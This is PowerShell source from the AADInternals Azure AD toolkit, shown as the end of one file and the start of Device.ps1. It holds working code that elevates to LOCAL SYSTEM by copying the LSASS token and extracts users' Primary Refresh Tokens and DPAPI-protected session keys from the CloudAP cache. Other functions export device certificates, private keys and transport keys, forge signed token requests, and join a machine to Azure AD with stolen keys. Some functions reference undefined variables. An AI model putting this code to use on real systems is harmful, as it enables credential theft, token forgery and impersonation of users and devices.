[System.Security.Cryptography.X509Certificates.X509Certificate2]$Certificate,
[Parameter(Mandatory=$False)]
[string]$PfxFileName,
[Parameter(Mandatory=$False)]
[string]$PfxPassword,
[Parameter(Mandatory=$False)]
[string]$TransportKeyFileName
)
Process
{
if(!$Certificate)
{
$Certificate = Load-Certificate -FileName $PfxFileName -Password $PfxPassword -Exportable
}
if($BPRT)
{
# Fixed values for BPRT to get access token for Intune MDM
$clientId = "b90d5b8f-5503-4153-b545-b31cecfaece2"
$resource = "https://enrollment.manage.microsoft.com/"
}
else
{
# This is the only supported client id :(
$clientId = "29d9ed98-a469-4536-ade2-f981bc1d605e"
# Get the claims from the access token to get the resource
$claims = Read-Accesstoken -AccessToken $AccessToken
$resource = $claims.aud
}
# Get the private key
if($TransportKeyFileName)
{
# Get the transport key from the provided file
$tkPEM = (Get-Content $TransportKeyFileName) -join "`n"
$tkParameters = Convert-PEMToRSA -PEM $tkPEM
$privateKey = [System.Security.Cryptography.RSA]::Create($tkParameters)
}
else
{
$privateKey = Load-PrivateKey -Certificate $Certificate
}
$body=@{
"grant_type" = "srv_challenge"
"windows_api_version" = "2.0"
"client_id" = $clientId
"redirect_uri" = "ms-appx-web://Microsoft.AAD.BrokerPlugin/DRS"
"resource" = $resource
}
if($BPRT)
{
$body.Remove("redirect_uri")
}
# Get the nonce
$nonce = (Invoke-RestMethod -UseBasicParsing -Method Post -Uri "https://login.microsoftonline.com/common/oauth2/token" -Body $body).Nonce
# B64 encode the public key
$x5c = Convert-ByteArrayToB64 -Bytes ($certificate.Export([System.Security.Cryptography.X509Certificates.X509ContentType]::Cert))
# Create the header and body
$hdr = [ordered]@{
"alg" = "RS256"
"typ" = "JWT"
"x5c" = "$x5c"
}
$OSVersion="10.0.18362.997"
$pld = [ordered]@{
"win_ver" = $OSVersion
"resource" = $resource
"scope" = "openid aza"
"request_nonce" = $nonce
"refresh_token" = $RefreshToken
"redirect_uri" = "ms-appx-web://Microsoft.AAD.BrokerPlugin/DRS"
"iss" = "aad:brokerplugin"
"grant_type" = "refresh_token"
"client_id" = $clientId
}
if($BPRT)
{
$pld.Remove("redirect_uri")
$pld["scope"] = "openid"
}
# Create the JWT
$jwt = New-JWT -PrivateKey $privateKey -Header $hdr -Payload $pld
# Construct the body
$body = @{
"windows_api_version" = "2.0"
"grant_type" = "urn:ietf:params:oauth:grant-type:jwt-bearer"
"request" = "$jwt"
}
# Make the request to get the new access token
$response = Invoke-RestMethod -UseBasicParsing -Method Post -Uri "https://login.microsoftonline.com/common/oauth2/token" -ContentType "application/x-www-form-urlencoded" -Body $body
if($BPRT)
{
$response | Add-Member -NotePropertyName "refresh_token" -NotePropertyValue $RefreshToken
}
Write-Debug "ACCESS TOKEN: $($response.access_token)"
Write-Debug "REFRESH TOKEN: $($response.refresh_token)"
# Return
return $response
}
}
function New-JWT
{
[cmdletbinding()]
Param(
[Parameter(ParameterSetName='PrivateKey', Mandatory=$True)]
[System.Security.Cryptography.RSA]$PrivateKey,
[Parameter(ParameterSetName='Key',Mandatory=$True)]
[Byte[]]$Key,
[Parameter(Mandatory=$True)]
[System.Collections.Specialized.OrderedDictionary]$Header,
[Parameter(Mandatory=$True)]
[System.Collections.Specialized.OrderedDictionary]$Payload
)
Process
{
# Construct the header
$txtHeader = $Header | ConvertTo-Json -Compress
$txtPayload = $Payload | ConvertTo-Json -Compress
# Convert to B64 and strip the padding
$b64Header = Convert-ByteArrayToB64 -Bytes ([text.encoding]::UTF8.getBytes($txtHeader )) -NoPadding
$b64Payload = Convert-ByteArrayToB64 -Bytes ([text.encoding]::UTF8.getBytes($txtPayload)) -NoPadding
# Construct the JWT data to be signed
$binData = [text.encoding]::UTF8.GetBytes(("{0}.{1}" -f $b64Header,$b64Payload))
# Get the signature
$Binsig = Sign-JWT -PrivateKey $PrivateKey -Key $Key -Data $binData
$B64sig = Convert-ByteArrayToB64 -Bytes $Binsig -UrlEncode
# Construct the JWT
$jwt = "{0}.{1}.{2}" -f $b64Header,$b64Payload,$B64sig
# Return
return $jwt
}
}
function Get-PRTKeyInfo
{
[cmdletbinding()]
Param(
[Parameter(ParameterSetName='PrivateKey',Mandatory=$True)]
[byte[]]$PrivateKey
)
Process
{
# Create a random context
$ctx = New-Object byte[] 24
([System.Security.Cryptography.RandomNumberGenerator]::Create()).GetBytes($context)
# Get the private key
$privateKey = Load-PrivateKey -Certificate $Certificate
$body=@{
"grant_type" = "srv_challenge"
"windows_api_version" = "2.0"
"client_id" = $ClientId
"redirect_uri" = $RedirectUri
"resource" = $Resource
}
# Get the nonce
$nonce = (Invoke-RestMethod -UseBasicParsing -Method Post -Uri "https://login.microsoftonline.com/common/oauth2/token" -Body $body).Nonce
# B64 encode the public key
$x5c = Convert-ByteArrayToB64 -Bytes ($certificate.Export([System.Security.Cryptography.X509Certificates.X509ContentType]::Cert))
# Create the header and body
$hdr = [ordered]@{
"alg" = "RS256"
"typ" = "JWT"
"x5c" = "$x5c"
}
$OSVersion="10.0.18362.997"
$pld = [ordered]@{
"win_ver" = $OSVersion
"resource" = $Resource
"scope" = "openid aza"
"request_nonce" = $nonce
"refresh_token" = $RefreshToken
"redirect_uri" = $RedirectUri
"iss" = "aad:brokerplugin"
"grant_type" = "refresh_token"
"client_id" = $ClientId
}
# Create the JWT
$jwt = New-JWT -PrivateKey $privateKey -Header $hdr -Payload $pld
# Construct the body
$body = @{
"windows_api_version" = "2.0"
"grant_type" = "urn:ietf:params:oauth:grant-type:jwt-bearer"
"request" = "$jwt"
}
# Make the request to get the PRT key information
$response = Invoke-RestMethod -UseBasicParsing -Method Post -Uri "https://login.microsoftonline.com/common/oauth2/token" -ContentType "application/x-www-form-urlencoded" -Body $body
Write-Debug "ACCESS TOKEN: $($response.access_token)"
Write-Debug "REFRESH TOKEN: $($response.refresh_token)"
# Return
return $response
}
}
# Parses the given JWE
# Dec 22nd 2021
Function Parse-JWE
{
[cmdletbinding()]
param(
[parameter(Mandatory=$True,ValueFromPipeline)]
[String]$JWE
)
process
{
$parts = $JWE.Split(".")
if($parts.Count -ne 5)
{
Throw "Invalid JWE: $($parts.Count) parts, expected 5"
}
# Decode and parse the header
$parsedJWT = Convert-B64ToText -B64 $parts[0] | ConvertFrom-Json
# Add other parts
$parsedJWT | Add-Member -NotePropertyName "Key" -NotePropertyValue $parts[1]
$parsedJWT | Add-Member -NotePropertyName "Iv" -NotePropertyValue $parts[2]
$parsedJWT | Add-Member -NotePropertyName "CipherText" -NotePropertyValue $parts[3]
$parsedJWT | Add-Member -NotePropertyName "Tag" -NotePropertyValue $parts[4]
return $parsedJWT
}
}
# Decrypt the given JWE
# Dec 22nd 2021
Function Decrypt-JWE
{
[cmdletbinding()]
param(
[Parameter(Mandatory=$True,ValueFromPipeline)]
[String]$JWE,
[Parameter(Mandatory=$True,ParameterSetName = "RSA")]
[System.Security.Cryptography.RSA]$PrivateKey,
[Parameter(Mandatory=$False,ParameterSetName = "RSA")]
[bool]$returnKey = $true,
[Parameter(Mandatory=$True,ParameterSetName = "Key")]
[byte[]]$Key,
[Parameter(Mandatory=$True,ParameterSetName = "SessionKey")]
[byte[]]$SessionKey
)
process
{
$parsedJWE = Parse-JWE -JWE $JWE
$alg = $parsedJWE.alg
# If this is refresh_token or code, use RSA-OAEP
if([string]::IsNullOrEmpty($alg) -and $parsedJWE.ser -eq "1.0")
{
$alg = "RSA-OAEP"
}
elseif($parsedJWE.enc -ne "A256GCM")
{
Throw "Unsupported enc: $enc"
}
# Decrypt data using symmetric key
if($alg -eq "dir")
{
# Derive decryption key from the session key and context
if($SessionKey)
{
if(!$parsedJWE.ctx)
{
Throw "Missing ctx, unable to derive encryption key!"
}
$context = Convert-B64ToByteArray -B64 $parsedJWE.ctx
$key = Get-PRTDerivedKey -SessionKey $SessionKey -Context $context
}
if(!$parsedJWE.Iv -or !$parsedJWE.CipherText)
{
Throw "Missing Iv and/or CipherText, unable to decrypt!"
}
$iv = Convert-B64ToByteArray -B64 $parsedJWE.Iv
$encData = Convert-B64ToByteArray -B64 $parsedJWE.CipherText
# Create the crypto provider.
# The data is always encrypted using A256CBC instead of A256GCM, because AesCryptoServiceProvider does not support GCM mode.
$cryptoProvider = [System.Security.Cryptography.AesCryptoServiceProvider]::new()
$cryptoProvider.Key = $Key
$cryptoProvider.iv = $iv
# Create a crypto stream
$buffer = [System.IO.MemoryStream]::new()
$cryptoStream = [System.Security.Cryptography.CryptoStream]::new($buffer, $cryptoProvider.CreateDecryptor($Key,$iv),[System.Security.Cryptography.CryptoStreamMode]::Write)
# Decrypt the data
$cryptoStream.Write($encData,0,$encData.Count)
$cryptoStream.FlushFinalBlock()
$decData = $buffer.ToArray()
# Clean up
$cryptoStream.Dispose()
$cryptoProvider.Dispose()
return $decData
}
elseif($alg -eq "RSA-OAEP") # Decrypt data using encrypted key
{
if(!$PrivateKey)
{
Throw "PrivateKey required for RSA-OAEP encrypted JWE"
}
try
{
# Decrypt the content encryption key (CEK)
$encKey = Convert-B64ToByteArray -B64 $parsedJWE.Key
$CEK = [System.Security.Cryptography.RSAOAEPKeyExchangeDeformatter]::new($privateKey).DecryptKeyExchange($encKey)
# Extract the parameters
$iv = Convert-B64ToByteArray -B64 $parsedJWE.Iv
$encData = Convert-B64ToByteArray -B64 $parsedJWE.CipherText
$tag = Convert-B64ToByteArray -B64 $parsedJWE.Tag
$keyParameter = [Org.BouncyCastle.Crypto.Parameters.KeyParameter]::new($CEK)
# Append Tag to Encrypted data
$buffer = New-Object byte[] ($encData.Count + $tag.Count)
[Array]::Copy($encData,0,$buffer,0 ,$encData.Count)
[Array]::Copy($tag ,0,$buffer,$encData.Count,$tag.Count)
$encData = $buffer
# Create & init block cipher. This data is correctly encrypted with A256GCM.
$AEADParameters = [Org.BouncyCastle.Crypto.Parameters.AeadParameters]::new($keyParameter,128,$iv)
$GCMBlockCipher = [Org.BouncyCastle.Crypto.Modes.GcmBlockCipher]::new([Org.BouncyCastle.Crypto.Engines.AesFastEngine]::new())
$GCMBlockCipher.init($false, $AEADParameters)
# Create an array for the decrypted data
$decData = New-Object byte[] $GCMBlockCipher.GetOutputSize($encData.Count)
# Decrypt the data
$res = $GCMBlockCipher.ProcessBytes($encData, 0, $encData.Count, $decData, 0)
$res = $GCMBlockCipher.DoFinal($decData, $res)
# Return the key instead of data
if($returnKey)
{
# With session_key_jwe the decrypted data seems always to be one byte: 32
if($decData[0] -ne 32)
{
Write-Warning "Decrypted data was not 32. Key may be invalid."
}
$retVal = $CEK
}
else
{
# De-deflate
if($parsedJWE.zip -eq "Deflate")
{
$retVal = Get-DeDeflatedByteArray -byteArray $decData
}
else
{
$retVal = $decData
}
}
# Return
return $retVal
}
catch
{
throw "Decrypting the key failed: ""$($_.Exception.InnerException.Message)"". Are you using the correct certificate or key?"
}
}
else
{
Throw "Unsupported alg: $alg"
}
}
}
# Derivate KDFv2 context
# Mar 3rd 2022
function Get-KDFv2Context
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[Byte[]]$Context,
[Parameter(Mandatory=$True)]
[System.Collections.Specialized.OrderedDictionary]$Payload
)
Begin
{
$sha256 = [System.Security.Cryptography.SHA256]::Create()
}
Process
{
# KDFv2 (Key Derivation Function v2) uses different context: SHA256(ctx || assertion payload)
# We need to compute SHA256 hash from a byte array combined from context and payload.
# Ref: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-oapxbc/89dfb8d6-23b8-4963-8908-91b34340e367
# Get payload bytes
$pldBytes = [text.encoding]::UTF8.getBytes(($Payload | ConvertTo-Json -Compress))
# Create a buffer
$buffer = New-Object byte[] ($Context.Count + $pldBytes.Count)
# Copy context and payload to buffer
[array]::Copy($Context ,0,$buffer,0 ,$Context.Count)
[array]::Copy($pldBytes,0,$buffer,$Context.Count,$pldBytes.Count)
# Return SHA256 hash
return $sha256.ComputeHash($buffer)
}
End
{
$sha256.Dispose()
}
}
# Parses the Cloud AP Cache Data CacheData
# C:\Windows\system32\config\systemprofile\AppData\local\microsoft\windows\CloudAPCache\AzureAD\<hash>\cache\cachedata
# May 31st 2023
function Parse-CloudAPCacheData
{
[CmdletBinding()]
param(
[Parameter(Mandatory=$true)]
[byte[]]$Data
)
Process
{
# Parse the header
$p = 0;
$version = [System.BitConverter]::ToInt32($Data,$p); $p += 4
if($version -ne 2)
{
Throw "Invalid version: $version. Was expecting 2."
}
$hash = $Data[($p)..($p-1 + 32)]; $p += 32
$p += 8
$dataLen = [System.BitConverter]::ToInt64($Data,$p); $p += 8
Write-Verbose "CacheData version: $version"
Write-Verbose "CacheData SHA256: $(Convert-ByteArrayToHex -Bytes $hash)"
Write-Verbose "CacheData length: $dataLen"
# As I don't know the structure of the header so we need to find values based on what we know.
# Guid starts at 0x38
$p = 0x38
$keyId = [guid][byte[]]$Data[($p)..($p-1 + 16)]; $p += 16
# The size of the encrypted blob seems to be at 0x60
$p = 0x60
$encDataSize = [System.BitConverter]::ToInt32($Data,$p); $p += 4
# Then we have a part of header we don't know. So we need to find the correct place.
# Structure is:
# encKeySize, encKey, encDataSize, encData
# Length of the key seems to be always 0x30 so let's loop until we found the correct place.
while($p -lt $dataLen)
{
$encKeySize = [System.BitConverter]::ToInt32($Data,$p); $p += 4
if($encKeySize -eq 0x30)
{
# If the encrypted key is followed by the encrypted data size, we found the correct location
if([System.BitConverter]::ToInt32($Data,$p + 0x30) -eq $encDataSize)
{
break
}
}
}
Write-Verbose "EncryptedKey length: $encKeySize"
$encKey = $Data[($p)..($p-1 + $encKeySize)]; $p += $encKeySize
$encDataSize = [System.BitConverter]::ToInt32($Data,$p); $p += 4
Write-Verbose "EncryptedData length: $encDataSize"
$encData = $Data[($p)..($p-1 + $encDataSize)]; $p += $encDataSize
Write-Verbose "CacheData key id: $keyId"
return [pscustomobject]@{
"EncryptedKey" = $encKey
"EncryptedData" = $encData
"Id" = $guid
}
}
}
# Parses the decrypted data blob from CacheData
# Jun 2nd 2023
function Parse-CloudAPCacheDataBlob
{
[CmdletBinding()]
param(
[Parameter(Mandatory=$true)]
[byte[]]$Data
)
Process
{
# Parse the header
$p = 0;
$version = [System.BitConverter]::ToInt32($Data,$p); $p += 4
if($version -ne 0)
{
Throw "Invalid version: $version. Was expecting 0."
}
$unk01 = [System.BitConverter]::ToInt32($Data,$p); $p += 4
$unk02 = [System.BitConverter]::ToInt32($Data,$p); $p += 4
$unk03 = [System.BitConverter]::ToInt32($Data,$p); $p += 4
$unk04 = [System.BitConverter]::ToInt32($Data,$p); $p += 4
$unk05 = [System.BitConverter]::ToInt32($Data,$p); $p += 4
$unk06 = [System.BitConverter]::ToInt32($Data,$p); $p += 4
$unk07 = [System.BitConverter]::ToInt32($Data,$p); $p += 4
$keyId = [guid][byte[]]$Data[($p)..($p-1 + 16)]; $p += 16
$id1 = $Data[($p)..($p-1 + 32)]; $p += 32
$id2 = $Data[($p)..($p-1 + 32)]; $p += 32
Write-Verbose "CacheData blob version: $version"
Write-Verbose "CacheData key id: $keyId"
Write-Verbose "CacheData blob ID1?: $(Convert-ByteArrayToHex -Bytes $id1)"
Write-Verbose "CacheData blob ID2?: $(Convert-ByteArrayToHex -Bytes $id2)"
# Return the payload
return $Data[$p..$($Data.Length)]
}
}
# Decrypts POP Key (Session Key) blob using DPAPI
# May 31st 2023
function Unprotect-POPKeyBlob
{
[CmdletBinding()]
param(
[Parameter(Mandatory=$true)]
[byte[]]$Data
)
Begin
{
# Load system.security assembly
Add-Type -AssemblyName System.Security
}
Process
{
# Parse the header
$p = 0;
$version = [System.BitConverter]::ToInt32($Data,$p); $p += 4
$type = [System.BitConverter]::ToInt32($Data,$p); $p += 4
Write-Verbose "SessionKey version: $version"
Write-Verbose "SessionKey type: $type"
if($type -ne 1)
{
Throw "Only software key (type 1) can be exported."
}
# Get the key
$key = $Data[$p..$($Data.Count)]
# Decrypt using DPAPI
return [Security.Cryptography.ProtectedData]::Unprotect($key,$null,'LocalMachine')
}
}
# Get logged in user's PRT and Session key from CloudAP CacheData
# Jun 2nd 2023
function Get-UserPRTKeysFromCloudAP
{
[CmdletBinding()]
param(
[Parameter(ParameterSetName='Credentials',Mandatory=$False)]
[System.Management.Automation.PSCredential]$Credentials,
[Parameter(ParameterSetName='Password',Mandatory=$true)]
[byte[]]$Password,
[Parameter(ParameterSetName='Password',Mandatory=$true)]
[string]$Username
)
Begin
{
$WAM_AAD = "B16898C6-A148-4967-9171-64D755DA8520"
$WAM_MSA = "D7F9888F-E3FC-49b0-9EA6-A85B5F392A4F"
# Check that we are administrators
Test-LocalAdministrator -Throw
# Elevate to LOCAL SYSTEM
$CurrentUser = "{0}\{1}" -f $env:USERDOMAIN,$env:USERNAME
Write-Warning "Elevating to LOCAL SYSTEM. You MUST restart PowerShell to restore $CurrentUser rights."
try
{
$status = [AADInternals.Native]::copyLsassToken()
}
catch
{
Write-Verbose $_.Exception.InnerException
Throw "Unable to elevate: $($_.Exception.InnerException.Message). Use -Verbose switch for details."
}
}
Process
{
if($Credentials)
{
$Username = $Credentials.UserName
}
# Find the user from registry
$name2SidPath = "HKLM:\SOFTWARE\Microsoft\IdentityStore\LogonCache\$WAM_AAD\Name2Sid\"
$name2SidKey = Get-Item -Path $name2SidPath -ErrorAction SilentlyContinue
if($name2SidKey)
{
$users = $name2SidKey.GetSubKeyNames()
}
if($users -eq $null)
{
Throw "No users found from CacheData"
}
foreach($user in $users)
{
if((Get-ItemPropertyValue -Path "$name2SidPath$user" -Name IdentityName) -eq $username)
{
# We found the user from registry. Get the cachedir from the key name.
$cacheDir = (Get-Item -Path "$name2SidPath$user").PSChildName
Write-Verbose "Cachedir: $cacheDir"
# Create the cache data file path
$cacheDataFile = "$env:SystemRoot\system32\config\systemprofile\AppData\local\microsoft\windows\CloudAPCache\AzureAD\$cacheDir\Cache\CacheData"
break
}
}
if([string]::IsNullOrEmpty($cacheDataFile))
{
Throw "CacheData not found for user $Username"
}
# Parse CacheData
$cacheData = Parse-CloudAPCacheData -Data (Get-BinaryContent -Path $cacheDataFile)
# Get the encrypted blobs
$encryptedKey = $cacheData.EncryptedKey
$encryptedData = $cacheData.EncryptedData
# Hey come on Microsoft..
$defaultIV = @(0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0)
if($Password)
{
# Derive the key from the given "system" password
$derivedKey = [AADInternals.Native]::getPBKDF2($Password)
Write-Verbose "Derived key: $(Convert-ByteArrayToHex -Bytes $derivedKey)"
# Decrypt the secret using derived key
$aes = New-Object -TypeName System.Security.Cryptography.AesCryptoServiceProvider
$aes.Key = $derivedKey
$aes.IV = $defaultIV
$dc = $aes.CreateDecryptor()
$secret = $dc.TransformFinalBlock($encryptedKey,0,$encryptedKey.Length)
}
else
{
# The secret is actually derived from the user's password, so we can use that (if known)
$secret = [AADInternals.Native]::getPBKDF2([text.encoding]::Unicode.GetBytes($Credentials.GetNetworkCredential().Password))
}
Write-Verbose "Secret: $(Convert-ByteArrayToHex -Bytes $secret)"
# Decrypt the data blob with the secret
$aes = New-Object -TypeName System.Security.Cryptography.AesCryptoServiceProvider
$aes.Key = $secret
$aes.IV = $defaultIV
$dc = $aes.CreateDecryptor()
$dataBlob = $dc.TransformFinalBlock($encryptedData,0,$encryptedData.Length)
# Parse the data blob
$prtBytes = Parse-CloudAPCacheDataBlob -Data $dataBlob
$prt = [text.encoding]::UTF8.GetString($prtBytes) | ConvertFrom-Json
# Decode PRT
$prt | Add-Member -NotePropertyName "refresh_token" -NotePropertyValue (Convert-B64ToText -B64 $prt.prt)
# Decrypt POP Key (Session Key) using DPAPI
$prt | Add-Member -NotePropertyName "session_key" -NotePropertyValue (Convert-ByteArrayToB64 -Bytes (Unprotect-POPKeyBlob -Data (Convert-B64ToByteArray -B64 $prt.ProofOfPossesionKey.KeyValue)))
return $prt
}
}
# Creates a new JWE
# Sep 12th 2023
Function New-JWE
{
[cmdletbinding()]
param(
[Parameter(Mandatory=$True,ParameterSetName = "RSA")]
[System.Security.Cryptography.RSA]$PublicKey,
[Parameter(Mandatory=$True)]
[byte[]]$Payload,
[Parameter(Mandatory=$True)]
[string]$Header,
[Parameter(Mandatory=$False)]
[byte[]]$InitialVector = (Get-RandomBytes -Bytes 12),
[Parameter(Mandatory=$False)]
[byte[]]$CEK = (Get-RandomBytes -Bytes 32)
)
process
{
# Parse & create binary header
$parsedHeader = $header | ConvertFrom-Json
$binHeader = [text.encoding]::UTF8.getBytes($header)
$alg = $parsedHeader.alg
# If this is refresh_token or code, use RSA-OAEP
if([string]::IsNullOrEmpty($alg) -and $parsedHeader.ser -eq "1.0")
{
$alg = "RSA-OAEP"
}
elseif($parsedJWE.enc -ne "A256GCM")
{
Throw "Unsupported enc: $enc"
}
# Encrypt data using encrypted key
if($alg -eq "RSA-OAEP")
{
if(!$PublicKey)
{
Throw "PublicKey required for RSA-OAEP encrypted JWE"
}
try
{
$decData = $Payload
# Encrypt the CEK
$encKey = [System.Security.Cryptography.RSAOAEPKeyExchangeFormatter]::new($PublicKey).CreateKeyExchange($CEK)
$keyParameter = [Org.BouncyCastle.Crypto.Parameters.KeyParameter]::new($CEK)
# Create & init block cipher. This data is correctly encrypted with A256GCM.
$AEADParameters = [Org.BouncyCastle.Crypto.Parameters.AeadParameters]::new($keyParameter,128,$InitialVector)
$GCMBlockCipher = [Org.BouncyCastle.Crypto.Modes.GcmBlockCipher]::new([Org.BouncyCastle.Crypto.Engines.AesFastEngine]::new())
$GCMBlockCipher.init($true, $AEADParameters)
# Create an array for the encrypted data
$tag = New-Object byte[] 16
$encData = New-Object byte[] $GCMBlockCipher.GetOutputSize($decData.Count)
# Encrypt the data
$res = $GCMBlockCipher.ProcessBytes($decData, 0, $decData.Count, $encData, 0)
$res = $GCMBlockCipher.DoFinal($encData, $res)
# Last 16 bytes is the tag (in authorization code & refresh token)
$buffer = New-Object byte[] ($encData.Count - 16)
[Array]::Copy($encData, 0,$buffer,0 ,$encData.Count - 16)
[Array]::Copy($encData,$encData.Count - 16,$tag ,0 ,$tag.Count)
$encData = $buffer
# Return
return "$((Convert-ByteArrayToB64 -Bytes $binHeader -UrlEncode)).$((Convert-ByteArrayToB64 -Bytes $encKey -UrlEncode)).$((Convert-ByteArrayToB64 -Bytes $InitialVector -UrlEncode)).$((Convert-ByteArrayToB64 -Bytes $encData -UrlEncode)).$((Convert-ByteArrayToB64 -Bytes $tag -UrlEncode))"
}
catch
{
throw "Encrypting failed: ""$($_.Exception.InnerException.Message)"""
}
}
else
{
Throw "Unsupported alg: $alg"
}
}
} |
Device.ps1 | AADInternals-0.9.4 | # This file contains functions for local AAD Joined devices
# Exports the device certificate of the local device
# Dec 17th 2021
function Export-LocalDeviceCertificate
{
<#
.SYNOPSIS
Exports the device certificate and private key of the local AAD joined/registered device.
.DESCRIPTION
Exports the device certificate and private key of the local AAD joined/registered device.
Certificate filename: <deviceid>.pfx
Private key filename: <deviceid>.pem
.Example
PS C\:>Export-AADIntLocalDeviceCertificate
Certificate exported to f72ad27e-5833-48d3-b1d6-00b89c429b91.pfx
#>
[CmdletBinding()]
param()
Process
{
# Check whether we are running in elevated session
Test-LocalAdministrator -Warn | Out-Null
# Get the join info
if(($joinInfo = Get-LocalDeviceJoinInfo) -eq $null)
{
Throw "Device seems not to be joined or registered."
}
# Get the certificate
Write-Verbose "Getting certificate $($joinInfo.CertThumb)"
$certificate = Get-Item -Path $joinInfo.CertPath
$binCert = $certificate.Export([System.Security.Cryptography.X509Certificates.X509ContentType]::Cert)
# Get the private key
Write-Verbose "Device key name: $($joinInfo.KeyName)"
if($joinInfo.JoinType -eq "Joined")
{
$keyPath = "$env:ALLUSERSPROFILE"
}
else
{
Write-Warning "Accessing key in user context will FAIL if already elevated to LOCAL SYSTEM."
$keyPath = "$env:APPDATA"
}
# CryptoAPI and CNG stores keys in different directories
# https://docs.microsoft.com/en-us/windows/win32/seccng/key-storage-and-retrieval
$paths = @(
"$keyPath\Microsoft\Crypto\RSA\MachineKeys\$($joinInfo.KeyName)"
"$keyPath\Microsoft\Crypto\Keys\$($joinInfo.KeyName)"
)
foreach($path in $paths)
{
$keyBlob = Get-BinaryContent $path -ErrorAction SilentlyContinue
if($keyBlob)
{
Write-Verbose "Key loaded from $path"
break
}
}
if(!$keyBlob)
{
if($joinInfo.KeyName.EndsWith(".PCPKEY"))
{
# This machine has a TPM
Throw "PCP keys are not supported, unable to export private key!"
}
else
{
Throw "Error accessing key. If you are already elevated to LOCAL SYSTEM, restart PowerShell and try again."
}
return
}
# Parse the key blob
$blobType = [System.BitConverter]::ToInt32($keyBlob,0)
switch($blobType)
{
1 { $deviceKey = Parse-CngBlob -Data $keyBlob -Decrypt }
2 { $deviceKey = Parse-CapiBlob -Data $keyBlob -Decrypt }
default { throw "Unsupported key blob type" }
}
$fileName = "$($joinInfo.deviceId).pfx"
Set-BinaryContent -Path $fileName -Value (New-PfxFile -RSAParameters $deviceKey.RSAParameters -X509Certificate $binCert)
Write-Host "Device certificate exported to $fileName"
}
}
# Exports the transport key of the local device
# Dec 18th 2021
function Export-LocalDeviceTransportKey
{
<#
.SYNOPSIS
Exports the transport key of the local AAD joined/registered device.
.DESCRIPTION
Exports the transport key of the local AAD joined/registered device.
Filename: <deviceid>_tk.pem
.Example
PS C\:>Export-AADIntLocalDeviceTransportKey
Transport key exported to f72ad27e-5833-48d3-b1d6-00b89c429b91_tk.pem
#>
[CmdletBinding()]
param()
Process
{
# Check whether we are running in elevated session
Test-LocalAdministrator -Warn | Out-Null
# Get the join info
if(($joinInfo = Get-LocalDeviceJoinInfo) -eq $null)
{
Throw "Device seems not to be joined or registered."
}
# Get the private key
Write-Verbose "Getting transport key"
$transportKeys = Get-LocalDeviceTransportKeys -JoinType $joinInfo.JoinType -IdpDomain $joinInfo.idpDomain -TenantId $joinInfo.tenantId -UserEmail $joinInfo.UserEmail
$fileName = "$($joinInfo.deviceId)_tk.pem"
Set-Content $fileName -Value (Convert-RSAToPEM -RSAParameters $transportKeys.RSAParameters)
Write-Host "Transport key exported to $fileName"
}
}
# Joins the local device to Azure AD
# Dec 20th 2021
function Join-LocalDeviceToAzureAD
{
<#
.SYNOPSIS
Joins the local Windows device to Azure AD using the given certificate.
.DESCRIPTION
Joins the local Windows device to Azure AD using the given certificate created earlier with AADInternals.
Creates required registry keys and values, saves transport key to SystemKeys, and starts related scheduled tasks.
.Parameter OSVersion
The operating system version of the device. Defaults to "10.0.18363.0"
.Parameter PfxFileName
File name of the .pfx device certificate.
.Parameter PfxPassword
The password of the .pfx device certificate.
.Parameter TransportKeyFileName
File name of the transportkey
.Parameter UserPrincipalName
The user principal name of the user.
.EXAMPLE
PS\:>Export-AADIntLocalDeviceCertificate
Certificate exported to f72ad27e-5833-48d3-b1d6-00b89c429b91.pfx
PS C\:>Export-AADIntLocalDeviceTransportKey
Transport key exported to f72ad27e-5833-48d3-b1d6-00b89c429b91_tk.pem
PS\:>Join-AADIntLocalDeviceToAzureAD -UserPrincipalName [email protected] -PfxFileName .\f72ad27e-5833-48d3-b1d6-00b89c429b91.pfx -TransportKeyFileName .\f72ad27e-5833-48d3-b1d6-00b89c429b91_tk.pem
Device configured. To confirm success, restart and run: dsregcmd /status
.EXAMPLE
$token = Get-AADIntAccessTokenForAADJoin -SaveToCache
PS\:>Join-AADIntDeviceToAzureAD -DeviceName "My computer" -DeviceType "Commodore" -OSVersion "C64"
Device successfully registered to Azure AD:
DisplayName: "My computer"
DeviceId: d03994c9-24f8-41ba-a156-1805998d6dc7
Cert thumbprint: 78CC77315A100089CF794EE49670552485DE3689
Cert file name : "d03994c9-24f8-41ba-a156-1805998d6dc7.pfx"
Local SID:
S-1-5-32-544
Additional SIDs:
S-1-12-1-797902961-1250002609-2090226073-616445738
S-1-12-1-3408697635-1121971140-3092833713-2344201430
S-1-12-1-2007802275-1256657308-2098244751-2635987013
PS\:>Join-AADIntLocalDeviceToAzureAD -UserPrincipalName [email protected] -PfxFileName .\d03994c9-24f8-41ba-a156-1805998d6dc7.pfx
Device configured. To confirm success, restart and run: dsregcmd /status
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[String]$UserPrincipalName,
[Parameter(Mandatory=$True)]
[String]$PfxFileName,
[Parameter(Mandatory=$False)]
[String]$PfxPassword,
[Parameter(Mandatory=$False)]
[String]$TransportKeyFileName,
[Parameter(Mandatory=$False)]
[String]$OSVersion = "10.0.19044.1288"
)
Begin
{
$sha256 = [System.Security.Cryptography.SHA256]::Create()
$WAM_AAD = "B16898C6-A148-4967-9171-64D755DA8520"
$WAM_MSA = "D7F9888F-E3FC-49b0-9EA6-A85B5F392A4F"
}
Process
{
# Check whether we are running in elevated session
Test-LocalAdministrator -Throw | Out-Null
# Import the certificate to LocalMachine's Personal store
if($PfxPassword)
{
$certificate = Import-PfxCertificate -FilePath $PfxFileName -Password ($PfxPassword | ConvertTo-SecureString -AsPlainText -Force) -CertStoreLocation Cert:\LocalMachine\My -Exportable
}
else
{
$certificate = Import-PfxCertificate -FilePath $PfxFileName -CertStoreLocation Cert:\LocalMachine\My -Exportable
}
Write-Verbose "Certificate ($($certificate.Subject)) imported to CERT:\LocalMachine\My\$($certificate.Thumbprint)"
# Collect the required information
$thumbprint = $certificate.Thumbprint
$oids = Parse-CertificateOIDs -Certificate $certificate
$tenantId = $oids.TenantId
$deviceId = $oids.DeviceId
Write-Verbose "Thumbprint: $thumbprint"
Write-Verbose "Device ID: $deviceId"
Write-Verbose "Tenant ID: $tenantId"
Write-Verbose "Auth User Obj ID: $($oids.AuthUserObjectId)"
Write-Verbose "Region: $($oids.Region)"
Write-Verbose "Join Type: $($oids.JoinType)"
if($oids.JoinType -eq 0)
{
# Certificates for AAD Registered devices won't work :(
